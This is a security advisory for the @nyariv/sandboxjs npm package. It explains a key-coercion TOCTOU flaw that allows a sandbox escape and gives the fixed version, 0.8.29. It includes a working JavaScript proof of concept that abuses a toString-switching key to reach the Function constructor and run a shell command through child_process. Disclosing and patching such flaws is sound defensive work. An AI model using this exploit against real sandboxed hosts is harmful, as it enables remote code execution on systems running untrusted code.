@nyariv/sandboxjs vulnerable to sandbox escape via TOCTOU bug on keys in property accesses
Quick fix
GHSA-7x3h-rm86-3342 — @nyariv/sandboxjs: upgrade to the fixed version with the command below.
npm install @nyariv/sandboxjs@0.8.29Details
### Summary A sandbox escape vulnerabilities due to a mismatch between the key on which the validation is performed and the key used for accessing properties.
### Details Even though the key used in property accesses (```b``` in the code below) is annotated as ```string```, this is never enforced: https://github.com/nyariv/SandboxJS/blob/6103d7147c4666fe48cfda58a4d5f37005b43754/src/executor.ts#L304-L304 So, attackers can pass malicious objects that coerce to different string values when used, e.g., one for the time the key is sanitized using ```hasOwnProperty(key)``` and a different one for when the key is used for the actual property access.
### PoC ```js const Sandbox = require('@nyariv/sandboxjs').default;
const code = ` let a = new Map; a.x = 23; let count = 0;
let nastyProp = {toString: () => {if (count<1){count++;return "x"} else return "__proto__"}} let mapProt = a[nastyProp]; mapProt.has = isFinite; console.log( isFinite.constructor( "return process.getBuiltinModule('child_process').execSync('ls -lah').toString()", )(), );`; const scope = {}; const sandbox = new Sandbox(); const exec = sandbox.compile(code); exec(scope).run(); ```
### Impact Remote code execution, if attacker can execute code inside the sandbox.
